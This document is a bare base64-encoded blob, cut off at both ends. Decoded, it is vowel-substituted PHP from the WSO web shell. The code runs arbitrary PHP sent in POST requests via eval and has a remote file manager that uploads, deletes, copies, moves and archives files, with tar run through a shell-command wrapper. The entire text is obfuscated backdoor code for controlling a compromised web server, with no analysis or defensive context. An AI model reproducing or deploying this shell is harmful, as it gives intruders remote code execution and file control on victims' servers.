R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCgkJMmJfc3QxcnQoKTsNCgkJcGhwNG5mMigpOw0KCQkkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoMXJyMXkgKA0KICAgICAgICAgICAgJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywNCiAgICAgICAgICAgICchdGQsIHRoIHsoLiopfSFtczRVJywNCiAgICAgICAgICAgICchPDRtZ1tePl0rPiFtczRVJywNCiAgICAgICAgKSwgMXJyMXkgKA0KICAgICAgICAgICAgJycsDQogICAgICAgICAgICAnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsDQogICAgICAgICAgICAnJw0KICAgICAgICApLCAkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgIDRmICghNW1wdHkgKCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQDNuczVyNDFsNHo1KCRfQ09PS0lFWydmJ10pOw0KICAgIA0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9DT09LSUVbJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCWMycHlfcDFzdDUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ20ydjUnKSB7DQoJCQkJCWYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKEA0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfQ09PS0lFWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkNHQ1cjF0MnIgMXMgJGs1eT0+JHYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICczbno0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT41eHRyMWN0VDIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3QxcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIHdzMkV4KCd0MXIgY2Z6diAnIC4gNXNjMXA1c2g1bGwxcmcoJF9QT1NUWydwYSddKSAuICcgJyAuIDRtcGwyZDUoJyAnLCAkX0NPT0tJRVsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCTNuczV0KCRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgIHM1dGMyMms0NSgnZicsICcnLCB0NG01KCkgLSBvZTAwKTsNCgkJCQlicjUxazsNCgkJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJV1NPczV0YzIyazQ1KCcxY3QnLCAkX1BPU1RbJ3A2J10pOw0KCQkJCQlXU09zNXRjMjJrNDUoJ2YnLCBzNXI0MWw0ejUoQCRfUE9TVFsnZiddKSk7DQoJCQkJCVdTT3M1dGMyMms0NSgnYycsIEAkX1BPU1RbJ2MnXSk7DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KICAgIHdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IG0xbjFnNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJJGQ0ckMybnQ1bnQgPSB3czJTYzFuZDRyKDRzczV0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KCTRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgewk1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0NCglnbDJiMWwgJHMycnQ7DQoJJHMycnQgPSAxcnIxeSgnbjFtNScsIDYpOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKHByNWdfbTF0Y2goJyFzXyhbQS16XSspXyhcZHs2fSkhJywgJF9QT1NUWydwNiddLCAkbTF0Y2gpKQ0KCQkJJHMycnQgPSAxcnIxeSgkbTF0Y2hbNl0sICg0bnQpJG0xdGNoW2FdKTsNCgl9DQo1Y2gyICI8c2NyNHB0Pg0KCWYzbmN0NDJuIHMxKCkgew0KCQlmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJNGYoZC5mNGw1cy41bDVtNW50c1s0XS50eXA1ID09ICdjaDVja2IyeCcpDQoJCQkJZC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KCX0NCjwvc2NyNHB0Pg0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4NCjxmMnJtIG4xbTU9ZjRsNXMgbTV0aDJkPXAyc3Q+PHRyPjx0aCB3NGR0aD0nNm9weCc+PDRucDN0IHR5cDU9Y2g1Y2tiMnggMm5jbDRjaz0nczEoKScgY2wxc3M9Y2hrYng+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbjFtNV8iLigkczJydFs2XT8wOjYpLiJcIiknPk4xbTU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfczR6NV8iLigkczJydFs2XT8wOjYpLiJcIiknPlM0ejU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbTJkNGZ5XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TTJkNGZ5PC8xPjwvdGg+PHRoPk93bjVyL0dyMjNwPC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5QNXJtNHNzNDJuczwvMT48L3RoPjx0aD5BY3Q0Mm5zPC90aD48L3RyPiI7DQoJJGQ0cnMgPSAkZjRsNXMgPSAxcnIxeSgpOw0KCSRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KCWYycigkND0wOyQ0PCRuOyQ0KyspIHsNCgkJJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkdG1wID0gMXJyMXkoJ24xbTUnID0+ICRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLA0KCQkJCQkgJ3A1cm1zJyA9PiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KCQkJCQkpOw0KCQk0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGY0bDVzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Y0bDUnKSk7DQoJCTVsczU0ZihANHNfbDRuaygkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7DQoJCTVsczU0ZihANHNfZDRyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQoJfQ0KCSRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCglmM25jdDQybiB3czJDbXAoJDEsICRiKSB7DQoJCTRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KCQkJcjV0M3JuIHN0cmNtcChzdHJ0MmwydzVyKCQxWyRHTE9CQUxTWydzMnJ0J11bMF1dKSwgc3RydDJsMnc1cigkYlskR0xPQkFMU1snczJydCddWzBdXSkpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCQk1bHM1DQoJCQlyNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCX0NCgkzczJydCgkZjRsNXMsICJ3czJDbXAiKTsNCgkzczJydCgkZDRycywgIndzMkNtcCIpOw0KCSRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOw0KCSRsID0gMDsNCglmMnI1MWNoKCRmNGw1cyAxcyAkZikgew0KCQk1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgJyAuICg1bXB0eSAoJGZbJ2w0bmsnXSkgPyAnJyA6ICJ0NHRsNT0neyRmWydsNG5rJ119JyIpIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/d3MyVjQ1d1M0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6NjsNCgl9DQoJNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiInPg0KCTxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX0NPT0tJRVsnMWN0J10pICYmIEBjMjNudCgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfQ09PS0lFWycxY3QnXSkgJiYgQGMyM250KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJzFjdCddID09ICd6NHAnKSB8fCAoJF9DT09LSUVbJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCc/J3o0cCc6J3Qxci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TdHI0bmdUMjJscygpIHsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywNCgkJJ0hFWCB0MiBBU0NJSScgPT4gJ2g1eGExc2M0NCcsDQoJCSdIRVggdDIgREVDJyA9PiAnaDV4ZDVjJywNCgkJJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywNCgkJJ0RFQyB0MiBIRVgnID0+ICdkNWNoNXgnLA0KCQknREVDIHQyIEJJTicgPT4gJ2Q1Y2I0bicsDQoJCSdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywNCgkJJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLA0KCQknU3RyNG5nIHQyIGwydzVyIGMxczUnID0+ICdzdHJ0MmwydzVyJywNCgkJJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsDQoJCSdIdG1sc3A1YzQxbGNoMXJzJyA9PiAnaHRtbHNwNWM0MWxjaDFycycsDQoJCSdTdHI0bmcgbDVuZ3RoJyA9PiAnc3RybDVuJywNCgkpOw0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNGYoNG5fMXJyMXkoJF9Q